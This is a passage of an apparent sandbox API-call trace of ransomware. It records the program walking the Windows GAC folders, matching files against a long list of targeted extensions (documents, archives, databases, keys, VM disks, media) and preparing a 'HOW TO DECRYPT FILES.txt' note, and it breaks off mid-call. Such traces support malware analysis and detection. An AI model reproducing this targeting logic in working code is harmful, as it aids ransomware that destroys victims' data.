PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.php") returned 0 [0101.369] lstrlenA (lpString="*.php") returned 5 [0101.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.cs") returned 0 [0101.369] lstrlenA (lpString="*.cs") returned 4 [0101.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.cpp") returned 0 [0101.369] lstrlenA (lpString="*.cpp") returned 5 [0101.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.rar") returned 0 [0101.370] lstrlenA (lpString="*.rar") returned 5 [0101.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.zip") returned 0 [0101.370] lstrlenA (lpString="*.zip") returned 5 [0101.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.html") returned 0 [0101.370] lstrlenA (lpString="*.html") returned 6 [0101.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.htm") returned 0 [0101.370] lstrlenA (lpString="*.htm") returned 5 [0101.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.xlsx") returned 0 [0101.370] lstrlenA (lpString="*.xlsx") returned 6 [0101.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.xls") returned 0 [0101.370] lstrlenA (lpString="*.xls") returned 5 [0101.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.mp4") returned 0 [0101.370] lstrlenA (lpString="*.mp4") returned 5 [0101.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.ppt") returned 0 [0101.370] lstrlenA (lpString="*.ppt") returned 5 [0101.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.pptx") returned 0 [0101.370] lstrlenA (lpString="*.pptx") returned 6 [0101.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.doc") returned 0 [0101.370] lstrlenA (lpString="*.doc") returned 5 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.dot") returned 0 [0101.371] lstrlenA (lpString="*.dot") returned 5 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.docx") returned 0 [0101.371] lstrlenA (lpString="*.docx") returned 6 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.7z") returned 0 [0101.371] lstrlenA (lpString="*.7z") returned 4 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.tar") returned 0 [0101.371] lstrlenA (lpString="*.tar") returned 5 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.bz2") returned 0 [0101.371] lstrlenA (lpString="*.bz2") returned 5 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.gz") returned 0 [0101.371] lstrlenA (lpString="*.gz") returned 4 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.mkv") returned 0 [0101.371] lstrlenA (lpString="*.mkv") returned 5 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.eml") returned 0 [0101.371] lstrlenA (lpString="*.eml") returned 5 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.msg") returned 0 [0101.371] lstrlenA (lpString="*.msg") returned 5 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.edb") returned 0 [0101.371] lstrlenA (lpString="*.edb") returned 5 [0101.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.accdb") returned 0 [0101.372] lstrlenA (lpString="*.accdb") returned 7 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.odb") returned 0 [0101.372] lstrlenA (lpString="*.odb") returned 5 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.java") returned 0 [0101.372] lstrlenA (lpString="*.java") returned 6 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.asm") returned 0 [0101.372] lstrlenA (lpString="*.asm") returned 5 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.pfx") returned 0 [0101.372] lstrlenA (lpString="*.pfx") returned 5 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.pem") returned 0 [0101.372] lstrlenA (lpString="*.pem") returned 5 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.p12") returned 0 [0101.372] lstrlenA (lpString="*.p12") returned 5 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.gpg") returned 0 [0101.372] lstrlenA (lpString="*.gpg") returned 5 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.vsd") returned 0 [0101.372] lstrlenA (lpString="*.vsd") returned 5 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.odg") returned 0 [0101.372] lstrlenA (lpString="*.odg") returned 5 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.raw") returned 0 [0101.372] lstrlenA (lpString="*.raw") returned 5 [0101.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.nef") returned 0 [0101.372] lstrlenA (lpString="*.nef") returned 5 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.svg") returned 0 [0101.373] lstrlenA (lpString="*.svg") returned 5 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.psd") returned 0 [0101.373] lstrlenA (lpString="*.psd") returned 5 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.vmx") returned 0 [0101.373] lstrlenA (lpString="*.vmx") returned 5 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.vmdk") returned 0 [0101.373] lstrlenA (lpString="*.vmdk") returned 6 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.vdi") returned 0 [0101.373] lstrlenA (lpString="*.vdi") returned 5 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.lay6") returned 0 [0101.373] lstrlenA (lpString="*.lay6") returned 6 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.mpeg") returned 0 [0101.373] lstrlenA (lpString="*.mpeg") returned 6 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.djvu") returned 0 [0101.373] lstrlenA (lpString="*.djvu") returned 6 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.tiff") returned 0 [0101.373] lstrlenA (lpString="*.tiff") returned 6 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.backup") returned 0 [0101.373] lstrlenA (lpString="*.backup") returned 8 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.pdf") returned 0 [0101.373] lstrlenA (lpString="*.pdf") returned 5 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.cert") returned 0 [0101.373] lstrlenA (lpString="*.cert") returned 6 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.docm") returned 0 [0101.373] lstrlenA (lpString="*.docm") returned 6 [0101.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.xlsm") returned 0 [0101.373] lstrlenA (lpString="*.xlsm") returned 6 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.dwg") returned 0 [0101.374] lstrlenA (lpString="*.dwg") returned 5 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.nd") returned 0 [0101.374] lstrlenA (lpString="*.nd") returned 4 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.tlg") returned 0 [0101.374] lstrlenA (lpString="*.tlg") returned 5 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.lgb") returned 0 [0101.374] lstrlenA (lpString="*.lgb") returned 5 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.mov") returned 0 [0101.374] lstrlenA (lpString="*.mov") returned 5 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.xdw") returned 0 [0101.374] lstrlenA (lpString="*.xdw") returned 5 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.ods") returned 0 [0101.374] lstrlenA (lpString="*.ods") returned 5 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.wav") returned 0 [0101.374] lstrlenA (lpString="*.wav") returned 5 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.mp3") returned 0 [0101.374] lstrlenA (lpString="*.mp3") returned 5 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.aiff") returned 0 [0101.374] lstrlenA (lpString="*.aiff") returned 6 [0101.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.flac") returned 0 [0101.374] lstrlenA (lpString="*.flac") returned 6 [0101.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.m4a") returned 0 [0101.375] lstrlenA (lpString="*.m4a") returned 5 [0101.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.dll", pszSpec="*.csv") returned 0 [0101.375] lstrlenA (lpString="*.csv") returned 5 [0101.375] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81f36b60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81f36b60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.6.0.Microsoft.MediaCenter.UI.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.375] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.375] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81f36b60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81f36b60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0101.375] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.375] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="PresentationBuildTasks", cAlternateFileName="PRESEN~2")) returned 1 [0101.375] lstrcmpA (lpString1=".", lpString2="PresentationBuildTasks") returned -1 [0101.375] lstrcmpA (lpString1="..", lpString2="PresentationBuildTasks") returned -1 [0101.375] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.375] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="PresentationBuildTasks" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks" [0101.375] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks") returned 51 [0101.375] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.376] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.376] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.376] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.376] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.376] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0778ec6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc0778ec6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0101.377] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.377] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.377] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\*.*") returned="*.*" [0101.377] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35" [0101.377] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35") returned 77 [0101.377] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0778ec6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc0778ec6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.377] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.377] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0778ec6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc0778ec6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.377] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.377] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.378] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa990338c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0101.378] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.378] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.378] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\" [0101.378] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\") returned="" [0101.378] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.378] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationBuildTasks\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationbuildtasks\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 